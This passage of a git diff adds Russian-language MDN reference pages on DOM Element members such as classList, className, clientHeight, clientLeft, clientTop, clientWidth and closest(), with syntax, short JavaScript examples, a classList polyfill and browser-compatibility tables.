+   <td>{{SpecName('DOM3 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>6.0 [2]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Firefox 22, this attribute was implemented in the {{domxref("Node")}} interface (inherited by {{domxref("Element")}}). It has been moved to this interface to conform to the specification and the usage of other browsers.</p>
+
+<p>[2] Internet Explorer 5.5 returns a map containing the values rather than the attribute objects.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("NamedNodeMap")}}, the interface of the returned object</li>
+ <li>Cross-browser compatibility considerations: on <a class="external" href="http://www.quirksmode.org/dom/w3c_core.html#attributes" title="http://www.quirksmode.org/dom/w3c_core.html#attributes">quirksmode</a></li>
+</ul>
diff --git a/files/ru/web/api/element/classlist/index.html b/files/ru/web/api/element/classlist/index.html
new file mode 100644
index 0000000000..2ad0ee938f
--- /dev/null
+++ b/files/ru/web/api/element/classlist/index.html
@@ -0,0 +1,237 @@
+---
+title: Element.classList
+slug: Web/API/Element/classList
+translation_of: Web/API/Element/classList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство<strong> <code>classList</code></strong> возвращает псевдомассив {{domxref("DOMTokenList")}}, содержащий все классы элемента.</p>
+
+<div class="note">
+<p>У <strong>classList </strong>есть примитивная альтернатива - свойство <strong>className, </strong>которое содержит значение атрибута <strong>class</strong> элемента.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax"> </h2>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>elementClasses</var> = elem.classList;
+</pre>
+
+<ul>
+ <li>Результат - псевдомассив {{domxref("DOMTokenList")}}, содержащий все классы узла<strong> elem</strong></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><strong>ClassList </strong>является геттером. Возвращаемый им объект имеет несколько методов:</p>
+
+<dl>
+ <dt>     add( String<strong> [,String] )</strong>    </dt>
+ <dd>   Добавляет элементу указанные классы</dd>
+ <dt><strong>     remove</strong>( String [,String]<strong> )</strong></dt>
+ <dd><strong>    </strong>Удаляет у элемента указанные классы</dd>
+ <dd><strong>item</strong> ( Number )<br>
+     Результат аналогичен вызову <code><strong>сlassList[Number]</strong></code></dd>
+ <dd><strong>toggle</strong> ( String [, Boolean])<br>
+     Если класс у элемента отсутствует - добавляет, иначе - убирает. Когда вторым параметром передано false - удаляет указанный класс, а если true - добавляет.</dd>
+ <dd>    Если вторым параметром передан undefined или переменная с typeof == 'undefined', поведение будет аналогичным передаче только первого параметра при вызове toggle.</dd>
+ <dd><strong>contains</strong> ( String )<br>
+     Проверяет, есть ли данный класс у элемента (вернет true или false)</dd>
+</dl>
+
+<div class="note">
+<p>И, конечно же, у <strong>ClassList</strong> есть заветное свойство<strong> length</strong>, которое возвращает количество классов у элемента.</p>
+</div>
+
+<dl>
+ <dt> </dt>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js" dir="rtl">&lt;div id="clock" class="example for you"&gt; &lt;/div&gt;
+</pre>
+
+<pre class="brush: js" dir="rtl">var elem = document.querySelector("#clock")
+
+//Выведем классы
+console.log(elem.classList); //DOMTokenList ["example", "for", "you"]
+
+//Добавим классы
+elem.classList.add("ok", "understand");
+console.log(elem.classList); //DOMTokenList ["example", "for", "you", "ok", "understand"]
+
+//Переключим классы
+elem.classList.toggle("you");
+elem.classList.toggle("he");
+console.log(elem.classList); //DOMTokenList ["example", "for", "ok", "understand", "he"]
+
+//Проверим класс
+console.log(elem.classList.contains("example")); //true
+console.log(elem.classList.contains("lol")); //false
+
+//И удалим классы
+elem.classList.remove("example", "for", "understand", "he");
+console.log(elem.classList); //DOMTokenList ["ok"]</pre>
+
+<p dir="rtl"> </p>
+
+<div class="warning">
+<p>В Firefox 25- в методах add, remove и toggle возможно указать только один аргумент. Смотрите: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814014">https://bugzilla.mozilla.org/show_bug.cgi?id=814014</a> </p>
+</div>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<pre class="brush:js">// Источник: https://gist.github.com/k-gun/c2ea7c49edf7b757fe9561ba37cb19ca
+;(function() {
+    // helpers
+    var regExp = function(name) {
+        return new RegExp('(^| )'+ name +'( |$)');
+    };
+    var forEach = function(list, fn, scope) {
+        for (var i = 0; i &lt; list.length; i++) {
+            fn.call(scope, list[i]);
+        }
+    };
+
+    // class list object with basic methods
+    function ClassList(element) {
+        this.element = element;
+    }
+
+    ClassList.prototype = {
+        add: function() {
+            forEach(arguments, function(name) {
+                if (!this.contains(name)) {
+                    this.element.className += ' '+ name;
+                }
+            }, this);
+        },
+        remove: function() {
+            forEach(arguments, function(name) {
+                this.element.className =
+                    this.element.className.replace(regExp(name), '');
+            }, this);
+        },
+        toggle: function(name) {
+            return this.contains(name)
+                ? (this.remove(name), false) : (this.add(name), true);
+        },
+        contains: function(name) {
+            return regExp(name).test(this.element.className);
+        },
+        // bonus..
+        replace: function(oldName, newName) {
+            this.remove(oldName), this.add(newName);
+        }
+    };
+
+    // IE8/9, Safari
+    if (!('classList' in Element.prototype)) {
+        Object.defineProperty(Element.prototype, 'classList', {
+            get: function() {
+                return new ClassList(this);
+            }
+        });
+    }
+
+    // replace() support for others
+    if (window.DOMTokenList &amp;&amp; DOMTokenList.prototype.replace == null) {
+        DOMTokenList.prototype.replace = ClassList.prototype.replace;
+    }
+})();
+</pre>
+
+<p> </p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p> </p>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>8.0</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}</td>
+   <td>10</td>
+   <td>11.50</td>
+   <td>5.1<br>
+    {{Webkitbug("20709")}}</td>
+  </tr>
+  <tr>
+   <td>toggle method's second argument</td>
+   <td>24</td>
+   <td>{{CompatGeckoDesktop("24")}}</td>
+   <td><a href="https://connect.microsoft.com/IE/feedback/details/878564/element-classlist-toggle-does-not-support-second-parameter">not supported</a></td>
+   <td>15</td>
+   <td>yes<br>
+    {{Webkitbug("99375")}}
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0</td>
+   <td><span style="line-height: 1.572;">{{CompatGeckoMobile("1.9.2")}}</span></td>
+   <td>10</td>
+   <td>11.10</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>toggle method's second argument</td>
+   <td>?</td>
+   <td>{{CompatGeckoMobile("24")}}</td>
+   <td>?</td>
+   <td>?</td>
+   <td>?</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#dom-classlist" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#dom-classlist">http://www.whatwg.org/specs/web-apps/current-work/multipage/elements.html#dom-classlist</a></li>
+ <li><a href="https://dom.spec.whatwg.org/#interface-domtokenlist">https://dom.spec.whatwg.org/#interface-domtokenlist</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/element.className" title="DOM/element.className">element.className</a></li>
+</ul>
diff --git a/files/ru/web/api/element/classname/index.html b/files/ru/web/api/element/classname/index.html
new file mode 100644
index 0000000000..2492c08bb0
--- /dev/null
+++ b/files/ru/web/api/element/classname/index.html
@@ -0,0 +1,108 @@
+---
+title: Element.className
+slug: Web/API/Element/className
+translation_of: Web/API/Element/className
+---
+<div>{{APIRef("DOM")}}</div>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Свойство<strong> className</strong> отвечает за значение атрибута <strong>class</strong> элемента.</p>
+
+<div class="note">
+<p>Кстати, у <strong>className</strong> есть большой брат. Его зовут {{domxref("element.classList")}} - более мощный и функциональный метод для работы с классами элемента.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>var cName</var> = <var>elem</var>.className;
+<var>elem</var>.className = <var>cName</var>;</pre>
+
+<ul>
+ <li><strong><var>cName</var></strong> - строка. Если нужно указать несколько классов, они указываются через пробел.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>&lt;div class="booble example"&gt; &lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var elm = document.querySelector("div");
+
+alert(elm.className); //"booble example"
+
+elm.className = "class1 class2 class3";
+alert(elm.className); //"class1 class2 class3"
+</pre>
+
+<div class="note">
+<h5 id="Notes" name="Notes"><strong>Заметка:</strong></h5>
+
+<p>  Свойство получило необычное название <strong><code>className</code></strong> из-за того, что во многих языках, работающих с DOM, слово <em>class </em>является зарезервированным<em>.</em></p>
+</div>
+
+<h2 id="Поддержка_браузерами" style="line-height: 24px;">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Особенность</th>
+   <th style="line-height: 16px;">Chrome</th>
+   <th style="line-height: 16px;">Firefox (Gecko)</th>
+   <th style="line-height: 16px;">Internet Explorer</th>
+   <th style="line-height: 16px;">Opera</th>
+   <th style="line-height: 16px;">Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th style="line-height: 16px;">Особенность</th>
+   <th style="line-height: 16px;">Android</th>
+   <th style="line-height: 16px;">Chrome for Android</th>
+   <th style="line-height: 16px;">Firefox Mobile (Gecko)</th>
+   <th style="line-height: 16px;">IE Mobile</th>
+   <th style="line-height: 16px;">Opera Mobile</th>
+   <th style="line-height: 16px;">Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification"> </h2>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-95362176">DOM Level 2 HTML: className</a></li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("element.classList")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/clientheight/index.html b/files/ru/web/api/element/clientheight/index.html
new file mode 100644
index 0000000000..5e7f55f8ff
--- /dev/null
+++ b/files/ru/web/api/element/clientheight/index.html
@@ -0,0 +1,114 @@
+---
+title: Element.clientHeight
+slug: Web/API/Element/clientHeight
+translation_of: Web/API/Element/clientHeight
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code><strong>Element.clientHeight</strong></code> - свойство, доступное только для чтения. Для элементов без CSS-стилей, или элементов каркаса строчной разметки - значение равно нулю. Для остальных элементов - значение равно внутренней высоте элемента в пикселах, включая пространство между содержимым элемента и его границей (padding), но исключая высоту полосы горизонтальной прокрутки, и ширину отступа от границы элемента до родительского элемента (margin).</p>
+
+<p><code>Значение <strong>clientHeight</strong></code><strong> </strong>может быть вычислено по формуле CSS <code>height</code> + CSS <code>padding</code> - высота горизонтального скролла (если присутствует).</p>
+
+<div class="note">
+<p><strong>Внимание:</strong> При вычислении значения свойства, результат округляется до ближайшего целого. Если требуется дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтакс</h2>
+
+<pre class="syntaxbox">var <var>h</var> = <var>element</var>.clientHeight;</pre>
+
+<p><code><var>h</var></code> - целочисленное значение высоты элемента в пикселях.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p> </p>
+
+<p>              <img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clientheight', 'clientHeight')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes" name="Notes">К сведению</h3>
+
+<p>Свойство <code>clientHeight</code> впервые было представлено в объектной модели Internet Explorer.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.offsetHeight")}}</li>
+ <li>{{domxref("Element.scrollHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+</ul>
diff --git a/files/ru/web/api/element/clientleft/index.html b/files/ru/web/api/element/clientleft/index.html
new file mode 100644
index 0000000000..28ac7b7def
--- /dev/null
+++ b/files/ru/web/api/element/clientleft/index.html
@@ -0,0 +1,68 @@
+---
+title: Element.clientLeft
+slug: Web/API/Element/clientLeft
+translation_of: Web/API/Element/clientLeft
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<div>Ширина от левого края элемента в пискелях. При наличии overflow заключает в себя ширину от ветикального scrollbar для письма справа налево.</div>
+
+<p><code>clientLeft</code> не включает в себя ни левый padding ни margin с той же стороны. <code>clientLeft</code> только для чтения.</p>
+
+<p><a href="en/Gecko">Gecko</a>-based applications support <code>clientLeft</code> starting with Gecko 1.9 (<a href="en/Firefox_3">Firefox 3</a>, implemented in {{ Bug(111207) }}). This property is not supported in Firefox 2 and earlier.</p>
+
+<p>Когда <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> </a>значение установлено от 1 до 3 и направление текста справа налево, <strong>то вертикальный scrollbar будет спозиционирован слева</strong> и как следствие будет вычислен сlientLeft.</p>
+
+<div class="note">
+<p><strong>Внимание:</strong> Это свойство округлит значение к целому числу. Если нужно дробное значение используйте {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>left</var> = <var>element</var>.clientLeft;
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: -32px; position: absolute; top: 85px;">Left</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 170px; position: absolute; top: -24px;">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clientleft', 'clientLeft')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Element.clientLeft")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p><code>clientLeft</code> был впервые введен MS IE DHTML object model.</p>
+
+<p>Расположени вертикального scrollbar для письма справа налево применненного для элемента будет назначатся вледующим свойством <a class="external" href="http://kb.mozillazine.org/Layout.scrollbar.side"><code>layout.scrollbar.side</code> preference</a></p>
+
+<p>Когда установлены стили элемента <code>display: inline</code>, то <code>clientLeft</code> вернет <code>0</code> несмотря на границы элемента.</p>
diff --git a/files/ru/web/api/element/clienttop/index.html b/files/ru/web/api/element/clienttop/index.html
new file mode 100644
index 0000000000..e3c1521657
--- /dev/null
+++ b/files/ru/web/api/element/clienttop/index.html
@@ -0,0 +1,70 @@
+---
+title: Element.clientTop
+slug: Web/API/Element/clientTop
+translation_of: Web/API/Element/clientTop
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p>Толщина верхней границы элемента в пикселях. Не включает в себя margin и padding. Свойство только для чтения.</p>
+
+<p>Всё, что лежит между двумя местами (<code>offsetTop</code> и верх клиентской области) является границей элемента, потому что <code>offsetTop</code> показывает местоположение верха border элемента (не margin), в то время как верх клиентской области начинается сразу под border (клиентская область включает padding). Поэтому значение <strong>clientTop</strong> всегда будет равно значению <code>.getComputedStyle()</code> для "border-top-width". Например, если значение "border-top-width" равно нулю, то и <strong>clientTop</strong> тоже равно нулю.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Это свойство округляет значение до целого. Если вам нужно дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<p>Основанные на <a href="en/Gecko">Gecko</a> приложения поддерживают <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;">clientTop начиная с </span>Gecko 1.9 (<a href="en/Firefox_3">Firefox 3</a>, реализованно в  {{ Bug(111207) }}). Это свойство не поддерживается в  Firefox 2 и более ранних.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">var<em>top</em> = <var>element</var>.clientTop;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>В следующей иллюстрации клиентская область показана белым (части под названиями "Top", "Right" и т. д. не имеют никакого отношения к клиентской области). Значение <strong>clientTop</strong> - расстояние между окончением области margin (жёлтый) или padding и началом области контента (белый)</p>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.</p>
+
+<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="">Left</strong> <strong style="">Top</strong> <strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em><strong style="color: blue; font-family: Arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 190px;">Bottom</strong></div>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><code>clientTop</code> был впервые введен в MS IE DHTML object model.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clienttop', 'clientTop')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.clientTop")}}</p>
+
+<h2 id="References" name="References">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN: Measuring Element Dimension and Location</a></li>
+</ul>
diff --git a/files/ru/web/api/element/clientwidth/index.html b/files/ru/web/api/element/clientwidth/index.html
new file mode 100644
index 0000000000..927ef1e1cb
--- /dev/null
+++ b/files/ru/web/api/element/clientwidth/index.html
@@ -0,0 +1,59 @@
+---
+title: Element.clientWidth
+slug: Web/API/Element/clientWidth
+translation_of: Web/API/Element/clientWidth
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Свойство </span></font><code><strong>Element.clientWidth</strong></code> равно 0 для инлайн элементов и элементов без CSS; для всех остальных равняется ширине элемента в пикселях, включая padding, но исключая ширину рамки (border), внешние отступы (margin), и вертикальную полосу прокрутки (если она есть).</p>
+
+<div class="note">
+<p><strong>Note:</strong> Это свойство округляет реальное значение до целого. Если вам нужно дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>intElemClientWidth</var> = <var>element</var>.clientWidth;</pre>
+
+<p><code><var>intElemClientWidth</var></code> - целое число, соответствующее значению <code>clientWidth</code> элемента <code><var>element</var></code> в пикселях. Свойство <code>clientWidth</code> только для чтения.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p><img alt="Image:Dimensions-client.png" class="internal" src="/@api/deki/files/185/=Dimensions-client.png"></p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецфикация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#dom-element-clientwidth', 'clientWidth')}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Примечание">Примечание</h3>
+
+<p><code>clientWidth</code> был впервые предствлен в объектной модели MS IE DHTML.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Element.clientWidth")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.offsetWidth")}}</li>
+ <li>{{domxref("Element.scrollWidth")}}</li>
+ <li><a href="/en-US/docs/Web/API/CSS_Object_Model/Determining_the_dimensions_of_elements">Determining the dimensions of elements</a></li>
+</ul>
diff --git a/files/ru/web/api/element/closest/index.html b/files/ru/web/api/element/closest/index.html
new file mode 100644
index 0000000000..5ca79dbcc0
--- /dev/null
+++ b/files/ru/web/api/element/closest/index.html
@@ -0,0 +1,124 @@
+---
+title: Element.closest()
+slug: Web/API/Element/closest
+tags:
+  - API
+  - DOM
+  - Element
+  - Method
+  - Reference
+translation_of: Web/API/Element/closest
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>Element.closest()</strong></code> возвращает ближайший родительский элемент (или сам элемент), который соответствует заданному CSS-селектору или null, если таковых элементов вообще нет.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>elt =</em><em> element</em>.closest(<em>selectors</em>);
+</pre>
+
+<ul>
+ <li><strong><code>selectors</code><em> - </em></strong>строка, а точнее {{domxref("DOMString")}}<code><em>, </em></code>содержащая CSS-селектор, к примеру: <em><strong>"#id", ".class", "div"</strong>...</em></li>
+ <li>Результат - элемент DOM ({{domxref("Element")}}), либо null.</li>
+</ul>
+
+<h2 id="Исключения">Исключения</h2>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Указаный css-селектор не является допустимым<em> ("/=21=1", "&amp;@*#", "%'54523" и т.п. приведут к ошибке).</em></dd>
+</dl>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="notranslate">&lt;div id="block" title="Я - блок"&gt;
